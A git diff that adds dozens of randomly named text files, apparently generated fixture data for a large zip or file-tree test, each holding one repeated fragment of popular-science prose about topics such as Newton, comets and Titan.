diff --git a/big_zip/big-zip-files/folder_dutlqpbtbe/folder_aiydagbnyl/folder_ibuzfarfei/folder_iuiwyfjfdc/file_dbrbnpublhbl.txt b/big_zip/big-zip-files/folder_dutlqpbtbe/folder_aiydagbnyl/folder_ibuzfarfei/folder_iuiwyfjfdc/file_dbrbnpublhbl.txt
new file mode 100644
index 0000000..3383b28
--- /dev/null
+++ b/big_zip/big-zip-files/folder_dutlqpbtbe/folder_aiydagbnyl/folder_ibuzfarfei/folder_iuiwyfjfdc/file_dbrbnpublhbl.txt
@@ -0,0 +1 @@
+And yet just a stone’s throw from the remains of the Serapaeum are reminders of many
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_dutlqpbtbe/folder_aiydagbnyl/folder_ibuzfarfei/folder_iuiwyfjfdc/file_edapduwqfuvujhjxqrzhf.txt b/big_zip/big-zip-files/folder_dutlqpbtbe/folder_aiydagbnyl/folder_ibuzfarfei/folder_iuiwyfjfdc/file_edapduwqfuvujhjxqrzhf.txt
new file mode 100644
index 0000000..3383b28
--- /dev/null
+++ b/big_zip/big-zip-files/folder_dutlqpbtbe/folder_aiydagbnyl/folder_ibuzfarfei/folder_iuiwyfjfdc/file_edapduwqfuvujhjxqrzhf.txt
@@ -0,0 +1 @@
+And yet just a stone’s throw from the remains of the Serapaeum are reminders of many
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_dutlqpbtbe/folder_aiydagbnyl/folder_ibuzfarfei/folder_iuiwyfjfdc/file_fsnbymfvhnfexaookyu.txt b/big_zip/big-zip-files/folder_dutlqpbtbe/folder_aiydagbnyl/folder_ibuzfarfei/folder_iuiwyfjfdc/file_fsnbymfvhnfexaookyu.txt
new file mode 100644
index 0000000..3383b28
--- /dev/null
+++ b/big_zip/big-zip-files/folder_dutlqpbtbe/folder_aiydagbnyl/folder_ibuzfarfei/folder_iuiwyfjfdc/file_fsnbymfvhnfexaookyu.txt
@@ -0,0 +1 @@
+And yet just a stone’s throw from the remains of the Serapaeum are reminders of many
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_dutlqpbtbe/folder_aiydagbnyl/folder_ibuzfarfei/folder_iuiwyfjfdc/file_gomdydptgarnltbbhh.txt b/big_zip/big-zip-files/folder_dutlqpbtbe/folder_aiydagbnyl/folder_ibuzfarfei/folder_iuiwyfjfdc/file_gomdydptgarnltbbhh.txt
new file mode 100644
index 0000000..3383b28
--- /dev/null
+++ b/big_zip/big-zip-files/folder_dutlqpbtbe/folder_aiydagbnyl/folder_ibuzfarfei/folder_iuiwyfjfdc/file_gomdydptgarnltbbhh.txt
@@ -0,0 +1 @@
+And yet just a stone’s throw from the remains of the Serapaeum are reminders of many
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_dutlqpbtbe/folder_aiydagbnyl/folder_ibuzfarfei/folder_iuiwyfjfdc/file_hmykcolhyrsfsoupwm.txt b/big_zip/big-zip-files/folder_dutlqpbtbe/folder_aiydagbnyl/folder_ibuzfarfei/folder_iuiwyfjfdc/file_hmykcolhyrsfsoupwm.txt
new file mode 100644
index 0000000..3383b28
--- /dev/null
+++ b/big_zip/big-zip-files/folder_dutlqpbtbe/folder_aiydagbnyl/folder_ibuzfarfei/folder_iuiwyfjfdc/file_hmykcolhyrsfsoupwm.txt
@@ -0,0 +1 @@
+And yet just a stone’s throw from the remains of the Serapaeum are reminders of many
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_dutlqpbtbe/folder_aiydagbnyl/folder_ibuzfarfei/folder_iuiwyfjfdc/file_iomshnbiqdudderormcnlep.txt b/big_zip/big-zip-files/folder_dutlqpbtbe/folder_aiydagbnyl/folder_ibuzfarfei/folder_iuiwyfjfdc/file_iomshnbiqdudderormcnlep.txt
new file mode 100644
index 0000000..3383b28
--- /dev/null
+++ b/big_zip/big-zip-files/folder_dutlqpbtbe/folder_aiydagbnyl/folder_ibuzfarfei/folder_iuiwyfjfdc/file_iomshnbiqdudderormcnlep.txt
@@ -0,0 +1 @@
+And yet just a stone’s throw from the remains of the Serapaeum are reminders of many
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_dutlqpbtbe/folder_aiydagbnyl/folder_ibuzfarfei/folder_iuiwyfjfdc/file_izosewxjovljwlvky.txt b/big_zip/big-zip-files/folder_dutlqpbtbe/folder_aiydagbnyl/folder_ibuzfarfei/folder_iuiwyfjfdc/file_izosewxjovljwlvky.txt
new file mode 100644
index 0000000..3383b28
--- /dev/null
+++ b/big_zip/big-zip-files/folder_dutlqpbtbe/folder_aiydagbnyl/folder_ibuzfarfei/folder_iuiwyfjfdc/file_izosewxjovljwlvky.txt
@@ -0,0 +1 @@
+And yet just a stone’s throw from the remains of the Serapaeum are reminders of many
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_dutlqpbtbe/folder_aiydagbnyl/folder_ibuzfarfei/folder_iuiwyfjfdc/file_melhyrqrmsjynwdrjtvvgo.txt b/big_zip/big-zip-files/folder_dutlqpbtbe/folder_aiydagbnyl/folder_ibuzfarfei/folder_iuiwyfjfdc/file_melhyrqrmsjynwdrjtvvgo.txt
new file mode 100644
index 0000000..3383b28
--- /dev/null
+++ b/big_zip/big-zip-files/folder_dutlqpbtbe/folder_aiydagbnyl/folder_ibuzfarfei/folder_iuiwyfjfdc/file_melhyrqrmsjynwdrjtvvgo.txt
@@ -0,0 +1 @@
+And yet just a stone’s throw from the remains of the Serapaeum are reminders of many
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_dutlqpbtbe/folder_aiydagbnyl/folder_ibuzfarfei/folder_iuiwyfjfdc/file_nfazbgmropjmrpttir.txt b/big_zip/big-zip-files/folder_dutlqpbtbe/folder_aiydagbnyl/folder_ibuzfarfei/folder_iuiwyfjfdc/file_nfazbgmropjmrpttir.txt
new file mode 100644
index 0000000..3383b28
--- /dev/null
+++ b/big_zip/big-zip-files/folder_dutlqpbtbe/folder_aiydagbnyl/folder_ibuzfarfei/folder_iuiwyfjfdc/file_nfazbgmropjmrpttir.txt
@@ -0,0 +1 @@
+And yet just a stone’s throw from the remains of the Serapaeum are reminders of many
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_dutlqpbtbe/folder_aiydagbnyl/folder_ibuzfarfei/folder_iuiwyfjfdc/file_nupffzgrjrvz.txt b/big_zip/big-zip-files/folder_dutlqpbtbe/folder_aiydagbnyl/folder_ibuzfarfei/folder_iuiwyfjfdc/file_nupffzgrjrvz.txt
new file mode 100644
index 0000000..3383b28
--- /dev/null
+++ b/big_zip/big-zip-files/folder_dutlqpbtbe/folder_aiydagbnyl/folder_ibuzfarfei/folder_iuiwyfjfdc/file_nupffzgrjrvz.txt
@@ -0,0 +1 @@
+And yet just a stone’s throw from the remains of the Serapaeum are reminders of many
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_dutlqpbtbe/folder_aiydagbnyl/folder_ibuzfarfei/folder_iuiwyfjfdc/file_pzbrkjbkxut.txt b/big_zip/big-zip-files/folder_dutlqpbtbe/folder_aiydagbnyl/folder_ibuzfarfei/folder_iuiwyfjfdc/file_pzbrkjbkxut.txt
new file mode 100644
index 0000000..3383b28
--- /dev/null
+++ b/big_zip/big-zip-files/folder_dutlqpbtbe/folder_aiydagbnyl/folder_ibuzfarfei/folder_iuiwyfjfdc/file_pzbrkjbkxut.txt
@@ -0,0 +1 @@
+And yet just a stone’s throw from the remains of the Serapaeum are reminders of many
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_dutlqpbtbe/folder_aiydagbnyl/folder_ibuzfarfei/folder_iuiwyfjfdc/file_rtrrwpygoczdgvkcnnpns.txt b/big_zip/big-zip-files/folder_dutlqpbtbe/folder_aiydagbnyl/folder_ibuzfarfei/folder_iuiwyfjfdc/file_rtrrwpygoczdgvkcnnpns.txt
new file mode 100644
index 0000000..3383b28
--- /dev/null
+++ b/big_zip/big-zip-files/folder_dutlqpbtbe/folder_aiydagbnyl/folder_ibuzfarfei/folder_iuiwyfjfdc/file_rtrrwpygoczdgvkcnnpns.txt
@@ -0,0 +1 @@
+And yet just a stone’s throw from the remains of the Serapaeum are reminders of many
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_dutlqpbtbe/folder_aiydagbnyl/folder_ibuzfarfei/folder_iuiwyfjfdc/file_sltjcbmcrnjmzrxkznmawrv.txt b/big_zip/big-zip-files/folder_dutlqpbtbe/folder_aiydagbnyl/folder_ibuzfarfei/folder_iuiwyfjfdc/file_sltjcbmcrnjmzrxkznmawrv.txt
new file mode 100644
index 0000000..3383b28
--- /dev/null
+++ b/big_zip/big-zip-files/folder_dutlqpbtbe/folder_aiydagbnyl/folder_ibuzfarfei/folder_iuiwyfjfdc/file_sltjcbmcrnjmzrxkznmawrv.txt
@@ -0,0 +1 @@
+And yet just a stone’s throw from the remains of the Serapaeum are reminders of many
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_dutlqpbtbe/folder_aiydagbnyl/folder_ibuzfarfei/folder_iuiwyfjfdc/file_uicjuolrlgogqochjk.txt b/big_zip/big-zip-files/folder_dutlqpbtbe/folder_aiydagbnyl/folder_ibuzfarfei/folder_iuiwyfjfdc/file_uicjuolrlgogqochjk.txt
new file mode 100644
index 0000000..3383b28
--- /dev/null
+++ b/big_zip/big-zip-files/folder_dutlqpbtbe/folder_aiydagbnyl/folder_ibuzfarfei/folder_iuiwyfjfdc/file_uicjuolrlgogqochjk.txt
@@ -0,0 +1 @@
+And yet just a stone’s throw from the remains of the Serapaeum are reminders of many
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_dutlqpbtbe/folder_aiydagbnyl/folder_ibuzfarfei/folder_iuiwyfjfdc/file_urekuijkcfkgg.txt b/big_zip/big-zip-files/folder_dutlqpbtbe/folder_aiydagbnyl/folder_ibuzfarfei/folder_iuiwyfjfdc/file_urekuijkcfkgg.txt
new file mode 100644
index 0000000..3383b28
--- /dev/null
+++ b/big_zip/big-zip-files/folder_dutlqpbtbe/folder_aiydagbnyl/folder_ibuzfarfei/folder_iuiwyfjfdc/file_urekuijkcfkgg.txt
@@ -0,0 +1 @@
+And yet just a stone’s throw from the remains of the Serapaeum are reminders of many
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_dutlqpbtbe/folder_aiydagbnyl/folder_ibuzfarfei/folder_iuiwyfjfdc/file_xzgayftlnzpxpb.txt b/big_zip/big-zip-files/folder_dutlqpbtbe/folder_aiydagbnyl/folder_ibuzfarfei/folder_iuiwyfjfdc/file_xzgayftlnzpxpb.txt
new file mode 100644
index 0000000..3383b28
--- /dev/null
+++ b/big_zip/big-zip-files/folder_dutlqpbtbe/folder_aiydagbnyl/folder_ibuzfarfei/folder_iuiwyfjfdc/file_xzgayftlnzpxpb.txt
@@ -0,0 +1 @@
+And yet just a stone’s throw from the remains of the Serapaeum are reminders of many
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_dutlqpbtbe/folder_aiydagbnyl/folder_ibuzfarfei/folder_iuiwyfjfdc/file_yhsbavtsxubctmuvqbs.txt b/big_zip/big-zip-files/folder_dutlqpbtbe/folder_aiydagbnyl/folder_ibuzfarfei/folder_iuiwyfjfdc/file_yhsbavtsxubctmuvqbs.txt
new file mode 100644
index 0000000..3383b28
--- /dev/null
+++ b/big_zip/big-zip-files/folder_dutlqpbtbe/folder_aiydagbnyl/folder_ibuzfarfei/folder_iuiwyfjfdc/file_yhsbavtsxubctmuvqbs.txt
@@ -0,0 +1 @@
+And yet just a stone’s throw from the remains of the Serapaeum are reminders of many
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_dutlqpbtbe/folder_aiydagbnyl/folder_ibuzfarfei/folder_iuiwyfjfdc/file_yocycrayszpdpzi.txt b/big_zip/big-zip-files/folder_dutlqpbtbe/folder_aiydagbnyl/folder_ibuzfarfei/folder_iuiwyfjfdc/file_yocycrayszpdpzi.txt
new file mode 100644
index 0000000..3383b28
--- /dev/null
+++ b/big_zip/big-zip-files/folder_dutlqpbtbe/folder_aiydagbnyl/folder_ibuzfarfei/folder_iuiwyfjfdc/file_yocycrayszpdpzi.txt
@@ -0,0 +1 @@
+And yet just a stone’s throw from the remains of the Serapaeum are reminders of many
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_dutlqpbtbe/folder_aiydagbnyl/folder_ibuzfarfei/folder_iuiwyfjfdc/file_zeivqnigw.txt b/big_zip/big-zip-files/folder_dutlqpbtbe/folder_aiydagbnyl/folder_ibuzfarfei/folder_iuiwyfjfdc/file_zeivqnigw.txt
new file mode 100644
index 0000000..3383b28
--- /dev/null
+++ b/big_zip/big-zip-files/folder_dutlqpbtbe/folder_aiydagbnyl/folder_ibuzfarfei/folder_iuiwyfjfdc/file_zeivqnigw.txt
@@ -0,0 +1 @@
+And yet just a stone’s throw from the remains of the Serapaeum are reminders of many
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_dutlqpbtbe/folder_aiydagbnyl/folder_ibuzfarfei/folder_iuiwyfjfdc/goculryrikuzvuofpdpuv.txt b/big_zip/big-zip-files/folder_dutlqpbtbe/folder_aiydagbnyl/folder_ibuzfarfei/folder_iuiwyfjfdc/goculryrikuzvuofpdpuv.txt
new file mode 100644
index 0000000..e56112f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_dutlqpbtbe/folder_aiydagbnyl/folder_ibuzfarfei/folder_iuiwyfjfdc/goculryrikuzvuofpdpuv.txt
@@ -0,0 +1 @@
+born ultimately of the stars and now for a while inhabiting a world called Earth, have begun
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_dutlqpbtbe/folder_aiydagbnyl/folder_ibuzfarfei/folder_iuiwyfjfdc/henrpwjcixnrvomuoefynrx.txt b/big_zip/big-zip-files/folder_dutlqpbtbe/folder_aiydagbnyl/folder_ibuzfarfei/folder_iuiwyfjfdc/henrpwjcixnrvomuoefynrx.txt
new file mode 100644
index 0000000..4cd7a3f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_dutlqpbtbe/folder_aiydagbnyl/folder_ibuzfarfei/folder_iuiwyfjfdc/henrpwjcixnrvomuoefynrx.txt
@@ -0,0 +1 @@
+features in the spectrum of a comet and the spectrum of natural or ‘olefiant’ gas. Huggins
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_dutlqpbtbe/folder_aiydagbnyl/folder_ibuzfarfei/folder_iuiwyfjfdc/kcijinxbuibwcyejsbnrhi.txt b/big_zip/big-zip-files/folder_dutlqpbtbe/folder_aiydagbnyl/folder_ibuzfarfei/folder_iuiwyfjfdc/kcijinxbuibwcyejsbnrhi.txt
new file mode 100644
index 0000000..e3c272c
--- /dev/null
+++ b/big_zip/big-zip-files/folder_dutlqpbtbe/folder_aiydagbnyl/folder_ibuzfarfei/folder_iuiwyfjfdc/kcijinxbuibwcyejsbnrhi.txt
@@ -0,0 +1 @@
+board computer before it left earth. There was no opportunity to change the computer
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_dutlqpbtbe/folder_aiydagbnyl/folder_ibuzfarfei/folder_iuiwyfjfdc/qpnvnjpa.txt b/big_zip/big-zip-files/folder_dutlqpbtbe/folder_aiydagbnyl/folder_ibuzfarfei/folder_iuiwyfjfdc/qpnvnjpa.txt
new file mode 100644
index 0000000..4445c22
--- /dev/null
+++ b/big_zip/big-zip-files/folder_dutlqpbtbe/folder_aiydagbnyl/folder_ibuzfarfei/folder_iuiwyfjfdc/qpnvnjpa.txt
@@ -0,0 +1 @@
+corn. When we domesticated the ancestors of these plants and animals - sometimes
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_dutlqpbtbe/folder_aiydagbnyl/folder_ibuzfarfei/folder_iuiwyfjfdc/rzumnxlxeydfs.txt b/big_zip/big-zip-files/folder_dutlqpbtbe/folder_aiydagbnyl/folder_ibuzfarfei/folder_iuiwyfjfdc/rzumnxlxeydfs.txt
new file mode 100644
index 0000000..32da862
--- /dev/null
+++ b/big_zip/big-zip-files/folder_dutlqpbtbe/folder_aiydagbnyl/folder_ibuzfarfei/folder_iuiwyfjfdc/rzumnxlxeydfs.txt
@@ -0,0 +1 @@
+one; a shifting harmony of sub-patterns. Now as the waking body rouses, sub-
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_dutlqpbtbe/folder_aiydagbnyl/folder_ibuzfarfei/folder_iuiwyfjfdc/xniopypqen.txt b/big_zip/big-zip-files/folder_dutlqpbtbe/folder_aiydagbnyl/folder_ibuzfarfei/folder_iuiwyfjfdc/xniopypqen.txt
new file mode 100644
index 0000000..64a2d11
--- /dev/null
+++ b/big_zip/big-zip-files/folder_dutlqpbtbe/folder_aiydagbnyl/folder_ibuzfarfei/folder_iuiwyfjfdc/xniopypqen.txt
@@ -0,0 +1 @@
+provided astrology.’
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_edjlqfyqrh/file_aegjkuabnyxxrnrkcevrq.txt b/big_zip/big-zip-files/folder_edjlqfyqrh/file_aegjkuabnyxxrnrkcevrq.txt
new file mode 100644
index 0000000..91574f8
--- /dev/null
+++ b/big_zip/big-zip-files/folder_edjlqfyqrh/file_aegjkuabnyxxrnrkcevrq.txt
@@ -0,0 +1 @@
+around the Earth had been believed for all of human history. Newton was the first person
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_edjlqfyqrh/file_bbjoccocasgco.txt b/big_zip/big-zip-files/folder_edjlqfyqrh/file_bbjoccocasgco.txt
new file mode 100644
index 0000000..91574f8
--- /dev/null
+++ b/big_zip/big-zip-files/folder_edjlqfyqrh/file_bbjoccocasgco.txt
@@ -0,0 +1 @@
+around the Earth had been believed for all of human history. Newton was the first person
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_edjlqfyqrh/file_dzpepdgrvafifkuwghnyiwho.txt b/big_zip/big-zip-files/folder_edjlqfyqrh/file_dzpepdgrvafifkuwghnyiwho.txt
new file mode 100644
index 0000000..91574f8
--- /dev/null
+++ b/big_zip/big-zip-files/folder_edjlqfyqrh/file_dzpepdgrvafifkuwghnyiwho.txt
@@ -0,0 +1 @@
+around the Earth had been believed for all of human history. Newton was the first person
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_edjlqfyqrh/file_gnehplhhbiwwrodj.txt b/big_zip/big-zip-files/folder_edjlqfyqrh/file_gnehplhhbiwwrodj.txt
new file mode 100644
index 0000000..91574f8
--- /dev/null
+++ b/big_zip/big-zip-files/folder_edjlqfyqrh/file_gnehplhhbiwwrodj.txt
@@ -0,0 +1 @@
+around the Earth had been believed for all of human history. Newton was the first person
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_edjlqfyqrh/file_hpyukmpmjzipgjgqmeq.txt b/big_zip/big-zip-files/folder_edjlqfyqrh/file_hpyukmpmjzipgjgqmeq.txt
new file mode 100644
index 0000000..91574f8
--- /dev/null
+++ b/big_zip/big-zip-files/folder_edjlqfyqrh/file_hpyukmpmjzipgjgqmeq.txt
@@ -0,0 +1 @@
+around the Earth had been believed for all of human history. Newton was the first person
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_edjlqfyqrh/file_hubafnmancnc.txt b/big_zip/big-zip-files/folder_edjlqfyqrh/file_hubafnmancnc.txt
new file mode 100644
index 0000000..91574f8
--- /dev/null
+++ b/big_zip/big-zip-files/folder_edjlqfyqrh/file_hubafnmancnc.txt
@@ -0,0 +1 @@
+around the Earth had been believed for all of human history. Newton was the first person
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_edjlqfyqrh/file_jxiygjoq.txt b/big_zip/big-zip-files/folder_edjlqfyqrh/file_jxiygjoq.txt
new file mode 100644
index 0000000..91574f8
--- /dev/null
+++ b/big_zip/big-zip-files/folder_edjlqfyqrh/file_jxiygjoq.txt
@@ -0,0 +1 @@
+around the Earth had been believed for all of human history. Newton was the first person
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_edjlqfyqrh/file_khfsazbruxmqjxusjuqy.txt b/big_zip/big-zip-files/folder_edjlqfyqrh/file_khfsazbruxmqjxusjuqy.txt
new file mode 100644
index 0000000..91574f8
--- /dev/null
+++ b/big_zip/big-zip-files/folder_edjlqfyqrh/file_khfsazbruxmqjxusjuqy.txt
@@ -0,0 +1 @@
+around the Earth had been believed for all of human history. Newton was the first person
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_edjlqfyqrh/file_ltenlgtgdeisextmwvrcbbt.txt b/big_zip/big-zip-files/folder_edjlqfyqrh/file_ltenlgtgdeisextmwvrcbbt.txt
new file mode 100644
index 0000000..91574f8
--- /dev/null
+++ b/big_zip/big-zip-files/folder_edjlqfyqrh/file_ltenlgtgdeisextmwvrcbbt.txt
@@ -0,0 +1 @@
+around the Earth had been believed for all of human history. Newton was the first person
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_edjlqfyqrh/file_qkzxrwqlfmexswkcvpvvo.txt b/big_zip/big-zip-files/folder_edjlqfyqrh/file_qkzxrwqlfmexswkcvpvvo.txt
new file mode 100644
index 0000000..91574f8
--- /dev/null
+++ b/big_zip/big-zip-files/folder_edjlqfyqrh/file_qkzxrwqlfmexswkcvpvvo.txt
@@ -0,0 +1 @@
+around the Earth had been believed for all of human history. Newton was the first person
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_edjlqfyqrh/file_riswwsshrgnpujxszkrph.txt b/big_zip/big-zip-files/folder_edjlqfyqrh/file_riswwsshrgnpujxszkrph.txt
new file mode 100644
index 0000000..91574f8
--- /dev/null
+++ b/big_zip/big-zip-files/folder_edjlqfyqrh/file_riswwsshrgnpujxszkrph.txt
@@ -0,0 +1 @@
+around the Earth had been believed for all of human history. Newton was the first person
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_edjlqfyqrh/file_rlyzndqcpxypquadxt.txt b/big_zip/big-zip-files/folder_edjlqfyqrh/file_rlyzndqcpxypquadxt.txt
new file mode 100644
index 0000000..91574f8
--- /dev/null
+++ b/big_zip/big-zip-files/folder_edjlqfyqrh/file_rlyzndqcpxypquadxt.txt
@@ -0,0 +1 @@
+around the Earth had been believed for all of human history. Newton was the first person
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_edjlqfyqrh/file_vkmzomtwdbeii.txt b/big_zip/big-zip-files/folder_edjlqfyqrh/file_vkmzomtwdbeii.txt
new file mode 100644
index 0000000..91574f8
--- /dev/null
+++ b/big_zip/big-zip-files/folder_edjlqfyqrh/file_vkmzomtwdbeii.txt
@@ -0,0 +1 @@
+around the Earth had been believed for all of human history. Newton was the first person
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_edjlqfyqrh/file_vnskkzkjatfuwqhtrqmgfwy.txt b/big_zip/big-zip-files/folder_edjlqfyqrh/file_vnskkzkjatfuwqhtrqmgfwy.txt
new file mode 100644
index 0000000..91574f8
--- /dev/null
+++ b/big_zip/big-zip-files/folder_edjlqfyqrh/file_vnskkzkjatfuwqhtrqmgfwy.txt
@@ -0,0 +1 @@
+around the Earth had been believed for all of human history. Newton was the first person
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_edjlqfyqrh/file_vtlajmqzwfmwiodkm.txt b/big_zip/big-zip-files/folder_edjlqfyqrh/file_vtlajmqzwfmwiodkm.txt
new file mode 100644
index 0000000..91574f8
--- /dev/null
+++ b/big_zip/big-zip-files/folder_edjlqfyqrh/file_vtlajmqzwfmwiodkm.txt
@@ -0,0 +1 @@
+around the Earth had been believed for all of human history. Newton was the first person
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_edjlqfyqrh/file_xcgkzyjlaych.txt b/big_zip/big-zip-files/folder_edjlqfyqrh/file_xcgkzyjlaych.txt
new file mode 100644
index 0000000..91574f8
--- /dev/null
+++ b/big_zip/big-zip-files/folder_edjlqfyqrh/file_xcgkzyjlaych.txt
@@ -0,0 +1 @@
+around the Earth had been believed for all of human history. Newton was the first person
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_edjlqfyqrh/file_xfvlnucnfnscnvrwxdyvpkb.txt b/big_zip/big-zip-files/folder_edjlqfyqrh/file_xfvlnucnfnscnvrwxdyvpkb.txt
new file mode 100644
index 0000000..91574f8
--- /dev/null
+++ b/big_zip/big-zip-files/folder_edjlqfyqrh/file_xfvlnucnfnscnvrwxdyvpkb.txt
@@ -0,0 +1 @@
+around the Earth had been believed for all of human history. Newton was the first person
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_edjlqfyqrh/file_xtztnipdsgsjaxdwqspilx.txt b/big_zip/big-zip-files/folder_edjlqfyqrh/file_xtztnipdsgsjaxdwqspilx.txt
new file mode 100644
index 0000000..91574f8
--- /dev/null
+++ b/big_zip/big-zip-files/folder_edjlqfyqrh/file_xtztnipdsgsjaxdwqspilx.txt
@@ -0,0 +1 @@
+around the Earth had been believed for all of human history. Newton was the first person
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_edjlqfyqrh/file_yfnkbvpxfxhppn.txt b/big_zip/big-zip-files/folder_edjlqfyqrh/file_yfnkbvpxfxhppn.txt
new file mode 100644
index 0000000..91574f8
--- /dev/null
+++ b/big_zip/big-zip-files/folder_edjlqfyqrh/file_yfnkbvpxfxhppn.txt
@@ -0,0 +1 @@
+around the Earth had been believed for all of human history. Newton was the first person
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_edjlqfyqrh/file_ywbwjevemwowmscmxvcqcyr.txt b/big_zip/big-zip-files/folder_edjlqfyqrh/file_ywbwjevemwowmscmxvcqcyr.txt
new file mode 100644
index 0000000..91574f8
--- /dev/null
+++ b/big_zip/big-zip-files/folder_edjlqfyqrh/file_ywbwjevemwowmscmxvcqcyr.txt
@@ -0,0 +1 @@
+around the Earth had been believed for all of human history. Newton was the first person
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_edjlqfyqrh/file_zaayqdjf.txt b/big_zip/big-zip-files/folder_edjlqfyqrh/file_zaayqdjf.txt
new file mode 100644
index 0000000..91574f8
--- /dev/null
+++ b/big_zip/big-zip-files/folder_edjlqfyqrh/file_zaayqdjf.txt
@@ -0,0 +1 @@
+around the Earth had been believed for all of human history. Newton was the first person
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_edjlqfyqrh/file_zpgayuucxorrsdk.txt b/big_zip/big-zip-files/folder_edjlqfyqrh/file_zpgayuucxorrsdk.txt
new file mode 100644
index 0000000..91574f8
--- /dev/null
+++ b/big_zip/big-zip-files/folder_edjlqfyqrh/file_zpgayuucxorrsdk.txt
@@ -0,0 +1 @@
+around the Earth had been believed for all of human history. Newton was the first person
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_edjlqfyqrh/folder_yoybgnfkvw/file_afeopghpqtpldslrcmfnyy.txt b/big_zip/big-zip-files/folder_edjlqfyqrh/folder_yoybgnfkvw/file_afeopghpqtpldslrcmfnyy.txt
new file mode 100644
index 0000000..4ad7547
--- /dev/null
+++ b/big_zip/big-zip-files/folder_edjlqfyqrh/folder_yoybgnfkvw/file_afeopghpqtpldslrcmfnyy.txt
@@ -0,0 +1 @@
+abundant organic molecules on its surface and in its atmosphere, Titan is a remarkable and
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_edjlqfyqrh/folder_yoybgnfkvw/file_ddbvpvrlfjvswiedubgbqcj.txt b/big_zip/big-zip-files/folder_edjlqfyqrh/folder_yoybgnfkvw/file_ddbvpvrlfjvswiedubgbqcj.txt
new file mode 100644
index 0000000..4ad7547
--- /dev/null
+++ b/big_zip/big-zip-files/folder_edjlqfyqrh/folder_yoybgnfkvw/file_ddbvpvrlfjvswiedubgbqcj.txt
@@ -0,0 +1 @@
+abundant organic molecules on its surface and in its atmosphere, Titan is a remarkable and
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_edjlqfyqrh/folder_yoybgnfkvw/file_fzfbcoqgjg.txt b/big_zip/big-zip-files/folder_edjlqfyqrh/folder_yoybgnfkvw/file_fzfbcoqgjg.txt
new file mode 100644
index 0000000..4ad7547
--- /dev/null
+++ b/big_zip/big-zip-files/folder_edjlqfyqrh/folder_yoybgnfkvw/file_fzfbcoqgjg.txt
@@ -0,0 +1 @@
+abundant organic molecules on its surface and in its atmosphere, Titan is a remarkable and
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_edjlqfyqrh/folder_yoybgnfkvw/file_gkliobbxbc.txt b/big_zip/big-zip-files/folder_edjlqfyqrh/folder_yoybgnfkvw/file_gkliobbxbc.txt
new file mode 100644
index 0000000..4ad7547
--- /dev/null
+++ b/big_zip/big-zip-files/folder_edjlqfyqrh/folder_yoybgnfkvw/file_gkliobbxbc.txt
@@ -0,0 +1 @@
+abundant organic molecules on its surface and in its atmosphere, Titan is a remarkable and
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_edjlqfyqrh/folder_yoybgnfkvw/file_gtihhjzibirukmtqszv.txt b/big_zip/big-zip-files/folder_edjlqfyqrh/folder_yoybgnfkvw/file_gtihhjzibirukmtqszv.txt
new file mode 100644
index 0000000..4ad7547
--- /dev/null
+++ b/big_zip/big-zip-files/folder_edjlqfyqrh/folder_yoybgnfkvw/file_gtihhjzibirukmtqszv.txt
@@ -0,0 +1 @@
+abundant organic molecules on its surface and in its atmosphere, Titan is a remarkable and
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_edjlqfyqrh/folder_yoybgnfkvw/file_guvbogsdboxog.txt b/big_zip/big-zip-files/folder_edjlqfyqrh/folder_yoybgnfkvw/file_guvbogsdboxog.txt
new file mode 100644
index 0000000..4ad7547
--- /dev/null
+++ b/big_zip/big-zip-files/folder_edjlqfyqrh/folder_yoybgnfkvw/file_guvbogsdboxog.txt
@@ -0,0 +1 @@
+abundant organic molecules on its surface and in its atmosphere, Titan is a remarkable and
\ No newline at end of file
